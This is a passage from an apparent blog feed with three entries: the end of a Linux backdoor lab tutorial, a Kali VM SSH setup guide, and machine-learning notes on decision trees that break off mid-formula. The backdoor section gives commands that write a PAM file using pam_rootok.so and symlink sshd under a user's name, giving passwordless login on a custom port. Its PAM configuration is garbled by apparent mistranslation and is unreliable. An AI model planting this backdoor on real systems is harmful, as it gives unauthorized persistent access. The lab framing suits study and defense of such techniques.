&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696465/Typora/2024/10/fc163d487f4169876de475b8ddda580f.png&#34; alt=&#34;image-20241013005233857&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;实现-4&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;test-run&#34; data-section=&#34;实现-4&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#test-run&#34;&gt;#&lt;/a&gt; Test run&lt;/h3&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696465/Typora/2024/10/ca4d722ad8a618c1764639e0467bfd32.png&#34; alt=&#34;image-20241013005237555&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Now you can log in as root from port 2333 ( &lt;code&gt;ssh root@192.168.158.128 -p 2333&lt;/code&gt; ):&lt;br /&gt;
This demonstration uses cmd:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696466/Typora/2024/10/b10b4b1d4b022009231a95b178468b94.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;创建其它账户&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;creating-other-accounts&#34; data-section=&#34;创建其它账户&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#creating-other-accounts&#34;&gt;#&lt;/a&gt; Creating other accounts&lt;/h3&gt;
&lt;p&gt;PAM does not have a configuration file for passwordless login for other users beforehand. Therefore, you need to use the following command beforehand to save the content within the quotation marks to the file  &lt;code&gt;/etc/pam.d/username&lt;/code&gt;  using  &lt;code&gt;echo&lt;/code&gt; , so that the configuration file with your username as the filename will use the  &lt;code&gt;pam_rootok.so&lt;/code&gt;  module.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;
#%PAM-1.0
auth sufficient pam_rootok.so
auth includes system-auth
account includes system-auth
Passwords include system-auth
The session includes system-auth &amp;quot; &amp;gt;&amp;gt; /etc/pam.d/existing usernames&amp;quot;.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now you can see a configuration file named after your username (here, &lt;strong&gt;kali&lt;/strong&gt;) in the  &lt;code&gt;/etc/pam.d/&lt;/code&gt;  folder:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696468/Typora/2024/10/2ac6a6a91723dcd035e8e9a5163dfc92.png&#34; alt=&#34;image-20241013005247027&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Now, if you execute the command  &lt;code&gt;find /etc/pam.d|xargs grep &amp;quot;pam_rootok&amp;quot;&lt;/code&gt;  again, you can see that &lt;strong&gt;kali&lt;/strong&gt; has been added as a usable name:&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696469/Typora/2024/10/1083edad21219c631ebbe5a28ceaba4f.png&#34; alt=&#34;image-20241013005254226&#34; /&gt;&lt;br /&gt;
Now, by using the command:  &lt;code&gt;ln -sf /usr/sbin/sshd /usr/local/kali;/usr/local/kali -oPort=port number&lt;/code&gt;  to create a symbolic link, you can achieve the effect of passwordless login for ordinary users.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696469/Typora/2024/10/4b19889af9d0e88eadf9e812f25d2cd0.png&#34; alt=&#34;image-20241013005258790&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696470/Typora/2024/10/e00aa90c6fe6c5fda03c942cf6a9fd29.png&#34; alt=&#34;image-20241013005304178&#34; /&gt;&lt;/p&gt;
</content>
        <updated>2024-10-13T15:35:57.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/cybersecurity/linux-backdoor/setting-up-the-linux-backdoor-lab/</id>
        <title>Setting Up the Linux Backdoor Lab</title>
        <link rel="alternate" href="https://www.sycamore.top/en/cybersecurity/linux-backdoor/setting-up-the-linux-backdoor-lab/"/>
        <content type="html">&lt;p&gt;I used a Kali Linux guest as the lab server and Xshell on a Windows host to connect over SSH. This was the setup for my Linux backdoor experiments. Here’s how I connected and what I checked when the first attempt failed.&lt;/p&gt;
&lt;p&gt;&lt;span id=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div class=&#34;note info&#34;&gt;
&lt;p&gt;The screenshots are from my Kali 2022.1 installation in VMware on Windows in 2022. Menus, default service state and SSH settings vary between versions. The old image links identify the release in this post.&lt;/p&gt;
&lt;/div&gt;
&lt;span id=&#34;vmware创建kali虚拟机&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;create-the-kali-vm&#34; data-section=&#34;vmware创建kali虚拟机&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#create-the-kali-vm&#34;&gt;#&lt;/a&gt; Create the Kali VM&lt;/h2&gt;
&lt;p&gt;I used VMware. I’ll skip the wizard here. Alongside installing from an ISO, Kali offers preconfigured guests:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://old.kali.org/virtual-images/kali-2022.1/kali-linux-2022.1-vmware-amd64.7z&#34;&gt;Kali 2022.1 VMware image&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://old.kali.org/virtual-images/kali-2022.1/kali-linux-2022.1-virtualbox-amd64.ova&#34;&gt;Kali 2022.1 VirtualBox image&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;a href=&#34;https://www.kali.org/get-kali/#kali-virtual-machines&#34;&gt;official Kali download page&lt;/a&gt; lists images for a fresh installation. The rest of my notes assume a Kali guest.&lt;/p&gt;
&lt;span id=&#34;xshell安装和会话创建&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;create-an-xshell-session&#34; data-section=&#34;xshell安装和会话创建&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#create-an-xshell-session&#34;&gt;#&lt;/a&gt; Create an Xshell session&lt;/h2&gt;
&lt;p&gt;The Xshell installer is available from &lt;a href=&#34;https://www.netsarang.com/en/xshell/&#34;&gt;NetSarang&lt;/a&gt;. Choose &lt;strong&gt;File → New&lt;/strong&gt; and create an SSH session:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696473/Typora/2025/11/ec0e3b63c1b6407381f5fc198204b88b.png&#34; alt=&#34;Creating an SSH session in Xshell&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Give the session a name, choose SSH and use port 22 unless you’ve changed the service port. Set the host to the guest’s IP address.&lt;/p&gt;
&lt;p&gt;Inside the guest,  &lt;code&gt;ip addr&lt;/code&gt;  lists the interfaces. I used  &lt;code&gt;ifconfig&lt;/code&gt;  for this screenshot; if it isn’t installed,  &lt;code&gt;ip addr&lt;/code&gt;  works.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696474/Typora/2025/11/03de79df0a7a5f15066393d8b3fdc732.png&#34; alt=&#34;Interfaces and address of the Kali guest&#34; /&gt;&lt;/p&gt;
&lt;p&gt;My guest was at  &lt;code&gt;192.168.158.128&lt;/code&gt; . Use the address assigned to yours. The loopback address  &lt;code&gt;127.0.0.1&lt;/code&gt;  would refer to the host when entered in Xshell.&lt;/p&gt;
&lt;span id=&#34;kali配置ssh连接问题汇总&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;troubleshooting-ssh&#34; data-section=&#34;kali配置ssh连接问题汇总&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#troubleshooting-ssh&#34;&gt;#&lt;/a&gt; Troubleshooting SSH&lt;/h2&gt;
&lt;p&gt;My first connection failed:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696474/Typora/2025/11/44ad2149c5ece1467cd8f0dee447a105.png&#34; alt=&#34;Xshell reporting a connection failure&#34; /&gt;&lt;/p&gt;
&lt;p&gt;A stopped service, an unreachable guest and a rejected login need different checks.&lt;/p&gt;
&lt;span id=&#34;ssh-是否开启&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;is-the-service-running&#34; data-section=&#34;ssh-是否开启&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#is-the-service-running&#34;&gt;#&lt;/a&gt; Is the service running?&lt;/h3&gt;
&lt;p&gt;Check the SSH service inside Kali and start it if needed:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;sudo&lt;/span&gt; systemctl status &lt;span class=&#34;token function&#34;&gt;ssh&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;sudo&lt;/span&gt; systemctl start &lt;span class=&#34;token function&#34;&gt;ssh&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;sudo&lt;/span&gt; systemctl status &lt;span class=&#34;token function&#34;&gt;ssh&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;The screenshot shows  &lt;code&gt;service ssh status&lt;/code&gt; . The important part is  &lt;code&gt;active (running)&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696477/Typora/2025/11/bf8774117739cb26e9767cc0b5a1f9f5.png&#34; alt=&#34;The running SSH service&#34; /&gt;&lt;/p&gt;
&lt;p&gt;To start the service automatically on boot:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;sudo&lt;/span&gt; systemctl &lt;span class=&#34;token builtin class-name&#34;&gt;enable&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;ssh&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Undo that setting with  &lt;code&gt;sudo systemctl disable ssh&lt;/code&gt; . You can reconnect after starting the service without restarting the VM.&lt;/p&gt;
&lt;span id=&#34;能否-ping-通&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;can-the-host-reach-the-guest&#34; data-section=&#34;能否-ping-通&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#can-the-host-reach-the-guest&#34;&gt;#&lt;/a&gt; Can the host reach the guest?&lt;/h3&gt;
&lt;p&gt;Once the server was running, I tried pinging the guest’s IP from Windows:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696477/Typora/2025/11/c72106aee3f1d8b7ac9a24d572b59b36.png&#34; alt=&#34;The host cannot reach the guest by ping&#34; /&gt;&lt;/p&gt;
&lt;p&gt;A failed ping can be an address, adapter or firewall issue. In my case the problem was VMnet8. In VMware’s &lt;strong&gt;Edit → Virtual Network Editor&lt;/strong&gt;, choose &lt;strong&gt;Change Settings&lt;/strong&gt;, select VMnet8 and enable the host virtual adapter’s connection to the network. If it’s already selected, clearing it, applying, then selecting and applying again re-establishes the host connection.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696477/Typora/2025/11/97fccc2c2ee041cbd1e6feb5cacbf47d.png&#34; alt=&#34;The host adapter option for VMnet8&#34; /&gt;&lt;/p&gt;
&lt;p&gt;That got me connected, although I had to repeat it after restarting the computer (￣_￣|||). I tried port forwarding too, but it didn’t solve this issue. The host can use its VMnet8 adapter to reach a guest on the same private network. Port forwarding is worth considering when an external machine needs to initiate a connection to a service behind NAT. See &lt;a href=&#34;https://knowledge.broadcom.com/external/article/309842/understanding-networking-types-in-hosted.html&#34;&gt;VMware’s network mode overview&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Reconnecting the adapter was a workaround. I still needed to check the VMnet8 adapter, the two subnet configurations and firewall rules to find the persistent cause.&lt;/p&gt;
&lt;span id=&#34;ssh服务拒绝密码&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;the-ssh-server-rejects-the-password&#34; data-section=&#34;ssh服务拒绝密码&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#the-ssh-server-rejects-the-password&#34;&gt;#&lt;/a&gt; The SSH server rejects the password&lt;/h3&gt;
&lt;p&gt;Once the guest was reachable, Xshell reported another error:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696478/Typora/2025/11/4a17b7f6085ed11e25581ad4af01ad96.png&#34; alt=&#34;The SSH service rejects a password&#34; /&gt;&lt;/p&gt;
&lt;p&gt;I was trying to log in as root, and Xshell reported “The SSH server rejected your password. Please try again.” After checking the credentials, I looked at the account’s state and the server’s authentication policy in  &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696481/Typora/2025/11/8900184ed3d063762a64a4307d9111e0.png&#34; alt=&#34;The guest’s SSH server settings&#34; /&gt;&lt;/p&gt;
&lt;p&gt;In this specific VM the screenshot shows  &lt;code&gt;PermitRootLogin yes&lt;/code&gt; . An ordinary user account doesn’t require that change. Leave other settings alone unless your setup needs them. The &lt;a href=&#34;https://man.openbsd.org/sshd_config&#34;&gt;OpenSSH configuration manual&lt;/a&gt; explains each directive.&lt;/p&gt;
&lt;p&gt;After editing, validate the configuration before restarting the service:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;sudo&lt;/span&gt; /usr/sbin/sshd &lt;span class=&#34;token parameter variable&#34;&gt;-t&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;sudo&lt;/span&gt; systemctl restart &lt;span class=&#34;token function&#34;&gt;ssh&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Once the syntax check passes, restart SSH. The VM itself doesn’t need to reboot. Reconnecting from Xshell finally worked:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696482/Typora/2025/11/bc8a0d69bbf2c5972d1bb2864e8e36f7.png&#34; alt=&#34;Xshell connected to the Kali guest&#34; /&gt;&lt;/p&gt;
</content>
        <updated>2024-09-15T13:36:37.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/artificial-intelligence/machine-learning/machine-learning-notes/</id>
        <title>Machine Learning Notes</title>
        <link rel="alternate" href="https://www.sycamore.top/en/artificial-intelligence/machine-learning/machine-learning-notes/"/>
        <content type="html">&lt;span id=&#34;决策树&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;decision-trees&#34; data-section=&#34;决策树&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#decision-trees&#34;&gt;#&lt;/a&gt; Decision trees&lt;/h1&gt;
&lt;p&gt;A decision tree classifies an observation through a sequence of tests. Training derives those decision rules from the examples.&lt;/p&gt;
&lt;p&gt;Trees are fast to evaluate, and you can follow the tests to see which attributes mattered. Splitting on individual attributes can overlook relationships between them. An uneven class distribution can also affect performance.&lt;/p&gt;
&lt;blockquote&gt;
&lt;span id=&#34;求解方法&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;building-a-tree&#34; data-section=&#34;求解方法&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#building-a-tree&#34;&gt;#&lt;/a&gt; Building a tree&lt;/h2&gt;
&lt;/blockquote&gt;
&lt;p&gt;The central question is &lt;strong&gt;which attribute to test at each node&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Entropy measures uncertainty in the class distribution. In a dataset &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;D&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; with &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;n_c&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.5806em;vertical-align:-0.15em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1514em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;c&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; classes, let &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;P(c_i)&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.1389em;&#34;&gt;P&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;c&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3117em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; be the proportion in class &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;c_i&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.5806em;vertical-align:-0.15em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;c&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3117em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. Its entropy is&lt;/p&gt;
&lt;p&gt;&lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;E&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;o&lt;/mi&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mi&gt;y&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msubsup&gt;&lt;mo&gt;∑&lt;/mo&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;msub&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;/msub&gt;&lt;/msubsup&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;msub&gt;&lt;mrow&gt;&lt;mi&gt;log&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;/mrow&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;/msub&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;Entropy(D)=-\sum_{i=1}^{n_c}P(c_i)\log_2P(c_i)&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0576em;&#34;&gt;E&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;o&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0359em;&#34;&gt;y&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.104em;vertical-align:-0.2997em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop&#34;&gt;&lt;span class=&#34;mop op-symbol small-op&#34; style=&#34;position:relative;top:0em;&#34;&gt;∑&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8043em;&#34;&gt;&lt;span style=&#34;top:-2.4003em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;mrel mtight&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mord 